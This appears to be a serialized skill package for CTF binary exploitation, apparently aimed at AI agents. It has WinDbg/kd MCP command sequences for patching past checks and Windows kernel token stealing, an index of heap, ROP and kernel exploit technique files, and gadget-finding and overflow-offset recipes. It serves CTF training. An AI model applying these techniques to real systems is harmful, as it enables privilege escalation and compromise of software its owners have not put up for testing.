miss)\n\n`open_cdb_remote` turns the MCP into a full interactive debugger. Start the\ntarget under a debug server, then drive breakpoints, patch memory, and read the\nflag — no GUI, no manual stepping.\n\n```bash\ncdb -server tcp:port=5005 chall.exe # on the target box\n```\n\n```text\nopen_cdb_remote \"tcp:Port=5005,Server=127.0.0.1\"\nrun_cdb_command \u003csid> \"bp chall!check_password\" # break on the gate\nrun_cdb_command \u003csid> \"ba r4 \u003cflag_buf>\" # HW watchpoint: who READS the flag?\nrun_cdb_command \u003csid> \"bp chall!cmp \\\"du poi(esp+4); g\\\"\" # scripted bp, auto-continues\nrun_cdb_command \u003csid> \"g\" timeout_seconds=30 # run; bounded so it can't hang you\nrun_cdb_command \u003csid> \"r rip=chall!print_flag\" # skip the check entirely\nrun_cdb_command \u003csid> \"eb \u003caddr> 90 90\" # NOP out a jz — patch, don't solve\nrun_cdb_command \u003csid> \"!gflag +hpa\" # page heap: overflow faults immediately\n```\n\nIf the target is running and commands stop responding, `send_ctrl_break` first —\na live session cannot execute commands while the debuggee is free-running.\n\n### Windows mitigation check (the `checksec` equivalent)\n\nThere is no `checksec` on Windows; `!dh` is it. Do this before choosing a\nstrategy — it decides ROP vs ret2win vs SEH overwrite:\n\n```text\nrun_cdb_command \u003csid> \"lm\" # module list + base addresses\nrun_cdb_command \u003csid> \"!dh -f chall\" # read the \"DLL characteristics\" block\nrun_cdb_command \u003csid> \"!address -f:PAGE_EXECUTE_READWRITE\" # RWX — where shellcode can live\n```\n\n`!dh -f` prints the flags by name; these are the ones that matter:\n\n| `!dh -f` line | Meaning |\n|---|---|\n| `Dynamic base` | ASLR enabled |\n| `High entropy VA supported` | 64-bit ASLR entropy |\n| `NX compatible` | DEP enabled |\n| `Guard` | **CFG** — indirect calls are validated |\n\n`/GS` (stack cookie) is **not** a DLL-characteristics flag and will never appear\nhere — it lives in the Load Configuration Directory's `SecurityCookie` field.\nConfirm it separately with `dt ntdll!_IMAGE_LOAD_CONFIG_DIRECTORY64 \u003cimgbase>+\u003clcd_rva>`,\nor just look for the `__security_cookie` xor/compare in the function epilogue.\n\nCFG present pushes you to a *valid call target* like `system()` rather than an\narbitrary gadget — see the CFG-bypass technique in\n[advanced-exploits-4.md](advanced-exploits-4.md).\n\n### Kernel-mode loop (HEVD-style driver challenges)\n\nWindows kernel pwn is a recurring CTF category and `open_kd_session` is the only\nway to reach it. The goal is almost always token stealing:\n\n```text\nopen_kd_session \"net:port=50000,key=1.2.3.4\" symbols_path=\"srv*C:\\symbols*https://msdl.microsoft.com/download/symbols\"\nrun_kd_command \u003csid> \"lm m HEVD\" # driver base → offsets for the ROP chain\nrun_kd_command \u003csid> \"!drvobj HEVD 2\" # IOCTL dispatch routines = attack surface\nrun_kd_command \u003csid> \"bp HEVD!TriggerStackOverflow\"\nrun_kd_command \u003csid> \"r cr4\" # bit 20 set = SMEP on → must ROP in kernel\nrun_kd_command \u003csid> \"!process 0 0 System\" # System EPROCESS (token source)\nrun_kd_command \u003csid> \"dt nt!_EPROCESS \u003caddr> Token ActiveProcessLinks UniqueProcessId\"\nrun_kd_command \u003csid> \"!pool \u003caddr>\" # pool chunk metadata for grooming\nrun_kd_command \u003csid> \"!analyze -v\" # after a BSOD: bugcheck code + faulting driver\nclose_kd_session \u003csid> resume=true\n```\n\n`dt nt!_EPROCESS ... Token` both gives you the exact token offset for the\nexploit *and* verifies the steal landed. Kernel memory reads are slow — raise\n`timeout_seconds` rather than assuming a hang.\n\n**Key insight:** the MCP's value is not \"WinDbg without the GUI\" — it is that\nbreakpoints, memory patches, and memory scans become *agent-drivable*. The\nfastest Windows CTF paths are usually not a clean exploit at all: scan committed\nregions for `flag{`, set a hardware read-watchpoint on the flag buffer, or\n`eb`/`r rip=` your way past the check. Reach for those before writing a ROP\nchain — but fix symbols first, because a mis-symbolized `!analyze -v` will\nconfidently point you at the wrong function. For\ninteractive local work x64dbg remains the GUI alternative (see\n[../ctf-reverse/tools-dynamic.md](../ctf-reverse/tools-dynamic.md#x64dbg-windows-debugger)).\n\n---\n\n## IDA / Ghidra MCP for Exploit Development\n\nUse the decompiler MCP servers from\n[../ctf-reverse/tools-mcp.md](../ctf-reverse/tools-mcp.md) to find and understand\nthe vulnerability before writing the exploit — **pseudocode first, assembly only\nwhen it fails** (same golden rule).\n\n**Pwn-specific queries:**\n\n```text\nlist_strings filter=\"flag\" # free win: the flag or its file path, in one call\ndecompile_function \u003chandler> # spot the unchecked memcpy/gets/scanf(\"%s\")\nget_function_xrefs name=read_input # every path that reaches the vulnerable buffer (by name)\nget_xrefs_to address=\u003cbuf_addr> # ...or by hex address for a data buffer\ndecompile_function \u003cwin/backdoor> # confirm a ret2win target + required args\nlist_methods offset=0 limit=100 # locate system/execve wrappers — page past 100!\ndisassemble_function address=\u003cgadget_addr> # ONLY when hunting exact bytes for gadgets\n```\n\n**Where MCP helps most in pwn:**\n\n- Locating the bug: read the handler as pseudo-C to see the missing bounds check\n instead of eyeballing assembly.\n- Finding ret2win / magic-value functions and their exact argument requirements.\n- Recovering struct layouts (`set_function_prototype`, `declare_c_type` in IDA)\n so heap-overflow offsets are exact.\n- Confirming the comparison direction for canary/flag checks before committing to\n an exploit strategy (see [SKILL.md](SKILL.md#protection-implications-for-exploit-strategy)).\n\n**Key insight:** In pwn you eventually need exact bytes (gadgets, offsets), so you\n*will* drop to assembly — but only after the decompiler has told you *which*\nfunction and *which* check to attack. Start every pwn target by decompiling the\ninput handler; move to `disassemble_function` / ROPgadget once you know the target\nand need instruction-level precision.\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":12111,"content_sha256":"c9285f623464a2064739dff4d0f8bf2ae91906ef5caada6ddf1470d09614049d"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"CTF Binary Exploitation (Pwn)","type":"text"}]},{"type":"paragraph","content":[{"text":"Quick reference for binary exploitation (pwn) CTF challenges. Each technique has a one-liner here; see supporting files for full details.","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Prerequisites","type":"text"}]},{"type":"paragraph","content":[{"text":"Python packages (all platforms):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"pip install \"pwntools==4.15.0\" \"ROPgadget==7.7\" \"ropper==1.13.13\"\n# or via script: bash scripts/install_ctf_tools.sh python","type":"text"}]},{"type":"paragraph","content":[{"text":"uv alternative:","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"uv venv && uv pip install \"pwntools==4.15.0\" \"ROPgadget==7.7\" \"ropper==1.13.13\"","type":"text"}]},{"type":"paragraph","content":[{"text":"Linux (apt):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"apt install gdb binutils strace ltrace qemu-system-x86","type":"text"}]},{"type":"paragraph","content":[{"text":"Optional cross-arch (ARM/MIPS — Debian/Ubuntu):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"apt install qemu-user qemu-user-static gdb-multiarch binutils-multiarch libc6-armhf-cross libc6-arm64-cross libc6-mips-cross","type":"text"}]},{"type":"paragraph","content":[{"text":"macOS (Homebrew):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"brew install gdb binutils qemu","type":"text"}]},{"type":"paragraph","content":[{"text":"Ruby gems (all platforms):","type":"text","marks":[{"type":"strong"}]}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"gem install one_gadget seccomp-tools","type":"text"}]},{"type":"paragraph","content":[{"text":"Manual install:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"pwndbg — Linux: ","type":"text"},{"text":"GitHub","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/pwndbg/pwndbg","title":null}}]},{"text":", macOS: ","type":"text"},{"text":"brew install pwndbg/tap/pwndbg-gdb","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"checksec — included with pwntools (","type":"text"},{"text":"checksec --file=binary","type":"text","marks":[{"type":"code_inline"}]},{"text":")","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"MCP servers (optional):","type":"text","marks":[{"type":"strong"}]},{"text":" WinDbg MCP (","type":"text"},{"text":"svnscha/mcp-windbg","type":"text","marks":[{"type":"link","attrs":{"href":"https://github.com/svnscha/mcp-windbg","title":null}}]},{"text":") for Windows crash dumps, live breakpoint-driven exploitation, and kernel/driver debugging; IDA Pro MCP / Ghidra MCP for decompiling the vulnerable function — see ","type":"text"},{"text":"tools-mcp.md","type":"text","marks":[{"type":"link","attrs":{"href":"tools-mcp.md","title":null}}]},{"text":".","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Additional Resources","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"overflow-basics.md","type":"text","marks":[{"type":"link","attrs":{"href":"overflow-basics.md","title":null}}]},{"text":" - Stack/global buffer overflow, ret2win, canary bypass, canary byte-by-byte brute force on forking servers, struct pointer overwrite, signed integer bypass, hidden gadgets, stride-based OOB read leak, parser stack overflow via unchecked memcpy length with callee-saved register restoration","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"rop-and-shellcode.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-and-shellcode.md","title":null}}]},{"text":" - Core ROP chains (ret2libc, syscall ROP, rdx control, shell interaction), ret2csu, bad character XOR bypass, exotic x86 gadgets (BEXTR/XLAT/STOSB/PEXT), stack pivot via xchg rax,esp, sprintf() gadget chaining for bad character bypass, canary XOR epilogue as RDX zeroing gadget, stub_execveat syscall as execve alternative via read() return value","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"rop-advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"rop-advanced.md","title":null}}]},{"text":" - Advanced ROP techniques: double stack pivot to BSS via leave;ret, SROP (Sigreturn-Oriented Programming) with UTF-8 constraints, seccomp bypass, RETF architecture switch (x64→x32) for seccomp bypass, shellcode with input reversal, .fini_array hijack, ret2vdso, pwntools template, x32 ABI syscall aliasing for seccomp bypass, time-based blind shellcode exfiltration","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"format-string.md","type":"text","marks":[{"type":"link","attrs":{"href":"format-string.md","title":null}}]},{"text":" - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass, canary leak, __free_hook, .rela.plt patching, saved EBP overwrite for .bss pivot, argv[0] overwrite for stack smash info leak, .fini_array loop for multi-stage exploitation, __printf_chk bypass with sequential %p, single-call leak + GOT overwrite, ROT13-encoded format string exploit through input transformation)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"advanced.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced.md","title":null}}]},{"text":" - Seccomp advanced techniques, UAF, JIT, esoteric GOT, heap overlap via base conversion, tree data structure stack underallocation, ret2dlresolve, kernel exploitation (basic)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"heap-techniques.md","type":"text","marks":[{"type":"link","attrs":{"href":"heap-techniques.md","title":null}}]},{"text":" - House of Apple 2 (+ setcontext SUID variant), House of Einherjar, House of Orange/Spirit/Lore/Force, heap grooming, custom allocators (nginx, talloc), classic unlink, musl libc heap (meta pointer + atexit hijack), tcache stashing unlink attack, unsafe unlink + top chunk consolidation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"heap-techniques-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"heap-techniques-2.md","title":null}}]},{"text":" - CTF-writeup heap variants: UAF vtable pointer encoding shell argument, uninitialized chunk residue pointer leak, tcache strcpy null-byte overflow + backward consolidation, adjacent-struct fn-pointer overflow for libc leak + GOT overwrite, hidden-menu tcache poisoning, tcache double-free + fake _IO_FILE vtable stdout hijack, tcache-to-fastbin promotion cross-bin attack, 6-bit index OOB + written_bytes accumulator, IS_MMAPED bit-flip for unsorted bin leak on calloc'd chunk, filename-regex-constrained fastbin via LSB-only heap pointer overwrite, custom allocator unsafe unlink to GOT","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"heap-fsop.md","type":"text","marks":[{"type":"link","attrs":{"href":"heap-fsop.md","title":null}}]},{"text":" - FILE-structure (_IO_FILE) exploitation: fastbin stdout vtable two-stage hijack for PIE + Full RELRO, _IO_buf_base null-byte stdin hijack, glibc 2.24+ _IO_FILE vtable validation bypass, unsorted-bin attack on stdin ","type":"text"},{"text":"IO_buf_end, unsorted-bin corruption via mp","type":"text","marks":[{"type":"em"}]},{"text":" structure, realloc(ptr, 0) as free() UAF, single-byte reference counter wraparound UAF","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"advanced-exploits.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced-exploits.md","title":null}}]},{"text":" - Advanced exploit techniques (part 1): VM signed comparison, BF JIT shellcode, type confusion, off-by-one index corruption, DNS overflow, ASAN shadow memory, format string with encoding constraints, custom canary preservation, signed integer bypass, canary-aware partial overflow, CSV injection, MD5 preimage gadgets, VM GC UAF slab reuse, path traversal sanitizer bypass, FSOP + seccomp bypass via openat/mmap/write","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"advanced-exploits-2.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced-exploits-2.md","title":null}}]},{"text":" - Advanced exploit techniques (part 2): bytecode validator bypass via self-modification, io_uring UAF with SQE injection, integer truncation int32->int16, GC null-reference cascading corruption, leakless libc via multi-fgets stdout FILE overwrite, signed/unsigned char underflow heap overflow, XOR keystream brute-force write primitive, tcache pointer decryption heap leak, unsorted bin promotion via forged chunk size, FSOP stdout TLS leak, TLS destructor hijack via ","type":"text"},{"text":"__call_tls_dtors","type":"text","marks":[{"type":"code_inline"}]},{"text":", custom shadow stack pointer overflow bypass, signed int overflow negative OOB heap write, XSS-to-binary pwn bridge","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"advanced-exploits-4.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced-exploits-4.md","title":null}}]},{"text":" - Advanced exploit techniques (part 4): Windows SEH overwrite + pushad VirtualAlloc ROP, IAT-relative resolution, detached process shell stability, SeDebugPrivilege SYSTEM escalation, ARM buffer overflow with Thumb shellcode, Forth interpreter system word exploitation, GF(2) Gaussian elimination for multi-pass tcache poisoning, single-bit-flip exploitation primitive (mprotect + iterative code patching), Game of Life shellcode evolution via still-lifes, UAF via menu-driven strdup/free ordering, Windows CFG bypass via system() as valid call target, neural network output as function pointer index OOB, shellcode unique-byte limit bypass via counter overflow","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"advanced-exploits-3.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced-exploits-3.md","title":null}}]},{"text":" - Advanced exploit techniques (part 3): stack variable overlap / carry corruption OOB, 1-byte overflow via 8-bit loop counter, game AI arithmetic mean OOB read, arbitrary read/write GOT overwrite to shell, stack leak via __environ + memcpy overflow, JIT sandbox escape via uint16 jump truncation, DNS compression pointer stack overflow with multi-question ROP, ELF code signing bypass via program header manipulation, game level format signed/unsigned coordinate mismatch, file descriptor inheritance via missing O_CLOEXEC, sign extension integer underflow in metadata parsing, ROP chain construction with read-only primitive, 4-byte shellcode with timing side-channel via persistent registers, CRC oracle as arbitrary read, UTF-8 case conversion buffer overflow","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"advanced-exploits-5.md","type":"text","marks":[{"type":"link","attrs":{"href":"advanced-exploits-5.md","title":null}}]},{"text":" - Advanced exploit techniques (part 5): data-interpretation exploitation — Chip-8 emulator OOB memory for ret2libc, double-precision float quicksort canary repositioning, bloom filter abs(INT_MIN) negative index OOB write","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"sandbox-escape.md","type":"text","marks":[{"type":"link","attrs":{"href":"sandbox-escape.md","title":null}}]},{"text":" - Custom VM exploitation, FUSE/CUSE devices, busybox/restricted shell, shell tricks, process_vm_readv sandbox bypass, named pipe file size bypass, CPU emulator print opcode Python eval injection (cross-references ctf-misc/pyjails.md for Python jail techniques)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"kernel.md","type":"text","marks":[{"type":"link","attrs":{"href":"kernel.md","title":null}}]},{"text":" - Linux kernel exploitation fundamentals: environment setup, QEMU debug, heap spray structures (tty_struct, poll_list, user_key_payload, seq_operations), kernel stack overflow, canary leak, privilege escalation (ret2usr, kernel ROP), modprobe_path overwrite, core_pattern overwrite, kmalloc size mismatch heap overflow + struct file f_op corruption","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"kernel-techniques.md","type":"text","marks":[{"type":"link","attrs":{"href":"kernel-techniques.md","title":null}}]},{"text":" - Kernel exploitation techniques: tty_struct kROP (fake vtable + stack pivot), AAW via ioctl register control, userfaultfd race stabilization, SLUB allocator internals (freelist hardening/obfuscation), leak via kernel panic, MADV_DONTNEED race window extension (DiceCTF 2026), cross-cache CPU-split attack (DiceCTF 2026), PTE overlap file write (DiceCTF 2026), addr_limit bypass via failed file open for kernel memory read/write","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"kernel-bypass.md","type":"text","marks":[{"type":"link","attrs":{"href":"kernel-bypass.md","title":null}}]},{"text":" - Kernel protection bypass: KASLR/FGKASLR bypass (__ksymtab), KPTI bypass (swapgs trampoline, signal handler, modprobe_path/core_pattern via ROP), SMEP/SMAP bypass, GDB kernel module debugging, initramfs/virtio-9p workflow, exploit templates, exploit delivery","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"field-notes.md","type":"text","marks":[{"type":"link","attrs":{"href":"field-notes.md","title":null}}]},{"text":" - Detailed pwn notes: heap exploitation quick reference, additional exploit notes, useful commands","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"attack-playbook.md","type":"text","marks":[{"type":"link","attrs":{"href":"attack-playbook.md","title":null}}]},{"text":" - Linux userland attack playbook: recon of input/privilege boundaries, leak selection by mitigation, and primitive ranking workflow","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"static-signals.md","type":"text","marks":[{"type":"link","attrs":{"href":"static-signals.md","title":null}}]},{"text":" - Exploit-relevant static signals (libc version, seccomp policy, RELRO/PIE/canary/NX evidence) for exploitability assessment","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"pwnable-tw/README.md","type":"text","marks":[{"type":"link","attrs":{"href":"pwnable-tw/README.md","title":null}}]},{"text":" - 43 pwnable.tw writeups (orw, start, calc, hacknote, babystack, tcache_tear, death_note, dubblesort, applestore, bookwriter, and more) with per-challenge environment, protections, root-cause defects, and concrete exploitation chains","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"tools-mcp.md","type":"text","marks":[{"type":"link","attrs":{"href":"tools-mcp.md","title":null}}]},{"text":" - MCP server integration for pwn: WinDbg MCP session model (","type":"text"},{"text":"open_cdb_dump","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"open_cdb_remote","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"open_kd_session","type":"text","marks":[{"type":"code_inline"}]},{"text":" + ","type":"text"},{"text":"session_id","type":"text","marks":[{"type":"code_inline"}]},{"text":"), crash-dump triage, in-dump ","type":"text"},{"text":"flag{","type":"text","marks":[{"type":"code_inline"}]},{"text":" memory scanning, live breakpoint/hardware-watchpoint/memory-patch exploitation, ","type":"text"},{"text":"!dh -f","type":"text","marks":[{"type":"code_inline"}]},{"text":" Windows mitigation check (the ","type":"text"},{"text":"checksec","type":"text","marks":[{"type":"code_inline"}]},{"text":" equivalent), kernel-mode token stealing with kd; IDA/Ghidra MCP for exploit development (decompile the vulnerable function first, drop to assembly only for exact gadget bytes)","type":"text"}]}]}]},{"type":"hr","attrs":{"markup":"---"}},{"type":"heading","attrs":{"level":2},"content":[{"text":"When to Pivot","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If you do not yet understand what the binary does, switch to ","type":"text"},{"text":"/ctf-reverse","type":"text","marks":[{"type":"code_inline"}]},{"text":" before trying to exploit it.","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the service is really a restricted shell, encoding puzzle, or sandbox language challenge, switch to ","type":"text"},{"text":"/ctf-misc","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the exploit path depends on a web endpoint, session bug, or upload primitive more than memory corruption, switch to ","type":"text"},{"text":"/ctf-web","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"If the vulnerability requires breaking a cryptographic primitive before exploitation, switch to ","type":"text"},{"text":"/ctf-crypto","type":"text","marks":[{"type":"code_inline"}]},{"text":".","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Quick Start Commands","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"# Binary analysis\nchecksec --file=binary\nfile binary\nreadelf -h binary\n\n# Find gadgets\nROPgadget --binary binary | grep \"pop rdi\"\nropper -f binary --search \"pop rdi\"\none_gadget /lib/x86_64-linux-gnu/libc.so.6\n\n# Debug\ngdb -q binary -ex 'start' -ex 'checksec'\n\n# Pattern for offset finding\npython3 -c \"from pwn import *; print(cyclic(200))\"\npython3 -c \"from pwn import *; print(cyclic_find(0x61616168))\"\n\n# libc identification\n./libc-database/find puts \u003cleaked_addr_last_3_nibbles>","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Source Code Red Flags","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Threading/","type":"text"},{"text":"pthread","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> race conditions","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"usleep()","type":"text","marks":[{"type":"code_inline"}]},{"text":"/","type":"text"},{"text":"sleep()","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> timing windows","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Global variables in multiple threads -> TOCTOU","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Race Condition Exploitation","type":"text"}]},{"type":"code_block","attrs":{"wrap":false,"language":"bash"},"content":[{"text":"bash -c '{ echo \"cmd1\"; echo \"cmd2\"; sleep 1; } | nc host port'","type":"text"}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Common Vulnerabilities","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Buffer overflow: ","type":"text"},{"text":"gets()","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"scanf(\"%s\")","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"strcpy()","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Format string: ","type":"text"},{"text":"printf(user_input)","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Integer overflow, UAF, race conditions","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Protection Implications for Exploit Strategy","type":"text"}]},{"type":"table","attrs":{"layout":null},"content":[{"type":"tr","content":[{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Protection","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Status","type":"text"}]}]},{"type":"th","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Implication","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"PIE","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Disabled","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"All addresses (GOT, PLT, functions) are fixed - direct overwrites work","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"RELRO","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Partial","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"GOT is writable - GOT overwrite attacks possible","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"RELRO","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Full","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"GOT is read-only - need alternative targets (hooks, vtables, return addr)","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"NX","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Enabled","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Can't execute shellcode on stack/heap - use ROP or ret2win","type":"text"}]}]}]},{"type":"tr","content":[{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Canary","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Present","type":"text"}]}]},{"type":"td","attrs":{"colspan":1,"rowspan":1,"colwidth":null,"alignment":""},"content":[{"type":"paragraph","content":[{"text":"Stack smash detected - need leak or avoid stack overflow (use heap)","type":"text"}]}]}]}]},{"type":"paragraph","content":[{"text":"Quick decision tree:","type":"text","marks":[{"type":"strong"}]}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Partial RELRO + No PIE -> GOT overwrite (easiest, use fixed addresses)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Full RELRO -> target ","type":"text"},{"text":"__free_hook","type":"text","marks":[{"type":"code_inline"}]},{"text":", ","type":"text"},{"text":"__malloc_hook","type":"text","marks":[{"type":"code_inline"}]},{"text":" (glibc \u003c 2.34), or return addresses","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Stack canary present -> prefer heap-based attacks or leak canary first","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Stack Buffer Overflow","type":"text"}]},{"type":"ordered_list","attrs":{"order":1,"listStyle":"number"},"content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Find offset: ","type":"text"},{"text":"cyclic 200","type":"text","marks":[{"type":"code_inline"}]},{"text":" then ","type":"text"},{"text":"cyclic -l \u003cvalue>","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Check protections: ","type":"text"},{"text":"checksec --file=binary","type":"text","marks":[{"type":"code_inline"}]}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"No PIE + No canary = direct ROP","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Canary leak via format string or partial overwrite","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Canary brute-force byte-by-byte on forking servers (7*256 attempts max)","type":"text"}]}]}]},{"type":"paragraph","content":[{"text":"ret2win with magic value:","type":"text","marks":[{"type":"strong"}]},{"text":" Overflow -> ","type":"text"},{"text":"ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" (alignment) -> ","type":"text"},{"text":"pop rdi; ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" -> magic -> win(). ","type":"text"},{"text":"Stack alignment:","type":"text","marks":[{"type":"strong"}]},{"text":" SIGSEGV in ","type":"text"},{"text":"movaps","type":"text","marks":[{"type":"code_inline"}]},{"text":" = add extra ","type":"text"},{"text":"ret","type":"text","marks":[{"type":"code_inline"}]},{"text":" gadget. ","type":"text"},{"text":"Offset:","type":"text","marks":[{"type":"strong"}]},{"text":" buffer at ","type":"text"},{"text":"rbp - N","type":"text","marks":[{"type":"code_inline"}]},{"text":", return at ","type":"text"},{"text":"rbp + 8","type":"text","marks":[{"type":"code_inline"}]},{"text":", total = N + 8. 